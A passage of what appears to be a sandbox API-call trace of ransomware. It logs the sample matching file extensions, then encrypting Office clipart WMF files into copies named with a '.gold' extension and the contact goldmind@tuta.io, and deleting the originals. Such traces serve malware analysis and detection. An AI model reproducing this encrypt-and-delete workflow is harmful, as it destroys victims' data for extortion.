(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0104.159] lstrlenW (lpString=".jpg") returned 4 [0104.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.159] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.159] lstrlenW (lpString="J0102762.WMF") returned 12 [0104.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.159] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=11216) returned 1 [0104.159] CloseHandle (hObject=0x3b4) returned 1 [0104.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 0x20 [0104.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.160] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.160] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.160] GetLastError () returned 0x0 [0104.160] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2bd0, lpOverlapped=0x0) returned 1 [0104.445] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2be0, lpOverlapped=0x0) returned 1 [0104.446] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.446] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.446] SetEndOfFile (hFile=0x198) returned 1 [0104.446] CloseHandle (hObject=0x198) returned 1 [0104.446] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.446] SetEndOfFile (hFile=0x3b4) returned 1 [0104.448] CloseHandle (hObject=0x3b4) returned 1 [0104.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0104.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0104.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0104.565] lstrlenW (lpString=".doc") returned 4 [0104.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.565] lstrlenW (lpString=".docx") returned 5 [0104.565] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.565] lstrlenW (lpString=".pdf") returned 4 [0104.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.565] lstrlenW (lpString=".xls") returned 4 [0104.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.565] lstrlenW (lpString=".xlsx") returned 5 [0104.565] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.565] lstrlenW (lpString=".ppt") returned 4 [0104.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0104.565] lstrlenW (lpString=".zip") returned 4 [0104.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.565] lstrlenW (lpString=".rar") returned 4 [0104.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.565] lstrlenW (lpString=".bz2") returned 4 [0104.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.565] lstrlenW (lpString=".7z") returned 3 [0104.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0104.565] lstrlenW (lpString=".dbf") returned 4 [0104.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0104.565] lstrlenW (lpString=".1cd") returned 4 [0104.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0104.565] lstrlenW (lpString=".jpg") returned 4 [0104.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0104.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0104.565] lstrlenW (lpString=".doc") returned 4 [0104.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.565] lstrlenW (lpString=".docx") returned 5 [0104.565] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.565] lstrlenW (lpString=".pdf") returned 4 [0104.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.565] lstrlenW (lpString=".xls") returned 4 [0104.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.565] lstrlenW (lpString=".xlsx") returned 5 [0104.565] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.565] lstrlenW (lpString=".ppt") returned 4 [0104.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0104.565] lstrlenW (lpString=".zip") returned 4 [0104.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.565] lstrlenW (lpString=".rar") returned 4 [0104.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.565] lstrlenW (lpString=".bz2") returned 4 [0104.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.565] lstrlenW (lpString=".7z") returned 3 [0104.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0104.566] lstrlenW (lpString=".dbf") returned 4 [0104.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0104.566] lstrlenW (lpString=".1cd") returned 4 [0104.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0104.566] lstrlenW (lpString=".jpg") returned 4 [0104.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.566] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.566] lstrlenW (lpString="J0105230.WMF") returned 12 [0104.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.566] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=5172) returned 1 [0104.566] CloseHandle (hObject=0x3b4) returned 1 [0104.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 0x20 [0104.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.567] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.567] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.568] GetLastError () returned 0x0 [0104.568] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1434, lpOverlapped=0x0) returned 1 [0104.573] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0104.573] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.573] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.573] SetEndOfFile (hFile=0x198) returned 1 [0104.574] CloseHandle (hObject=0x198) returned 1 [0104.574] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.574] SetEndOfFile (hFile=0x3b4) returned 1 [0104.575] CloseHandle (hObject=0x3b4) returned 1 [0104.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0104.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0104.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0104.576] lstrlenW (lpString=".doc") returned 4 [0104.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.576] lstrlenW (lpString=".docx") returned 5 [0104.576] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0104.576] lstrlenW (lpString=".pdf") returned 4 [0104.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.576] lstrlenW (lpString=".xls") returned 4 [0104.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.576] lstrlenW (lpString=".xlsx") returned 5 [0104.576] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0104.576] lstrlenW (lpString=".ppt") returned 4 [0104.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0104.576] lstrlenW (lpString=".zip") returned 4 [0104.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.576] lstrlenW (lpString=".rar") returned 4 [0104.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.576] lstrlenW (lpString=".bz2") returned 4 [0104.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.577] lstrlenW (lpString=".7z") returned 3 [0104.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0104.577] lstrlenW (lpString=".dbf") returned 4 [0104.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0104.577] lstrlenW (lpString=".1cd") returned 4 [0104.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0104.577] lstrlenW (lpString=".jpg") returned 4 [0104.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0104.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0104.577] lstrlenW (lpString=".doc") returned 4 [0104.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.577] lstrlenW (lpString=".docx") returned 5 [0104.577] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0104.577] lstrlenW (lpString=".pdf") returned 4 [0104.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.577] lstrlenW (lpString=".xls") returned 4 [0104.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.577] lstrlenW (lpString=".xlsx") returned 5 [0104.577] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0104.577] lstrlenW (lpString=".ppt") returned 4 [0104.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0104.577] lstrlenW (lpString=".zip") returned 4 [0104.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.577] lstrlenW (lpString=".rar") returned 4 [0104.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.577] lstrlenW (lpString=".bz2") returned 4 [0104.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.577] lstrlenW (lpString=".7z") returned 3 [0104.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0104.577] lstrlenW (lpString=".dbf") returned 4 [0104.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0104.577] lstrlenW (lpString=".1cd") returned 4 [0104.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0104.577] lstrlenW (lpString=".jpg") returned 4 [0104.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.577] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.577] lstrlenW (lpString="J0105232.WMF") returned 12 [0104.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.590] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=5632) returned 1 [0104.590] CloseHandle (hObject=0x3a8) returned 1 [0104.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 0x20 [0104.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.621] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.621] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.621] GetLastError () returned 0x0 [0104.621] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1600, lpOverlapped=0x0) returned 1 [0104.629] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1610, lpOverlapped=0x0) returned 1 [0104.630] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.630] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.630] SetEndOfFile (hFile=0x198) returned 1 [0104.630] CloseHandle (hObject=0x198) returned 1 [0104.630] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.630] SetEndOfFile (hFile=0x3b4) returned 1 [0104.632] CloseHandle (hObject=0x3b4) returned 1 [0104.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0104.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0104.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0104.633] lstrlenW (lpString=".doc") returned 4 [0104.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.633] lstrlenW (lpString=".docx") returned 5 [0104.633] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.633] lstrlenW (lpString=".pdf") returned 4 [0104.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.633] lstrlenW (lpString=".xls") returned 4 [0104.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.633] lstrlenW (lpString=".xlsx") returned 5 [0104.633] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.633] lstrlenW (lpString=".ppt") returned 4 [0104.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0104.633] lstrlenW (lpString=".zip") returned 4 [0104.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.633] lstrlenW (lpString=".rar") returned 4 [0104.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.633] lstrlenW (lpString=".bz2") returned 4 [0104.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.633] lstrlenW (lpString=".7z") returned 3 [0104.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0104.633] lstrlenW (lpString=".dbf") returned 4 [0104.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0104.633] lstrlenW (lpString=".1cd") returned 4 [0104.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0104.633] lstrlenW (lpString=".jpg") returned 4 [0104.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0104.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0104.633] lstrlenW (lpString=".doc") returned 4 [0104.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.633] lstrlenW (lpString=".docx") returned 5 [0104.633] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.633] lstrlenW (lpString=".pdf") returned 4 [0104.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.633] lstrlenW (lpString=".xls") returned 4 [0104.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.634] lstrlenW (lpString=".xlsx") returned 5 [0104.634] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.634] lstrlenW (lpString=".ppt") returned 4 [0104.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0104.634] lstrlenW (lpString=".zip") returned 4 [0104.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.634] lstrlenW (lpString=".rar") returned 4 [0104.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.634] lstrlenW (lpString=".bz2") returned 4 [0104.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.634] lstrlenW (lpString=".7z") returned 3 [0104.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0104.634] lstrlenW (lpString=".dbf") returned 4 [0104.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0104.634] lstrlenW (lpString=".1cd") returned 4 [0104.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0104.634] lstrlenW (lpString=".jpg") returned 4 [0104.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.634] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.634] lstrlenW (lpString="J0105266.WMF") returned 12 [0104.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.635] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: 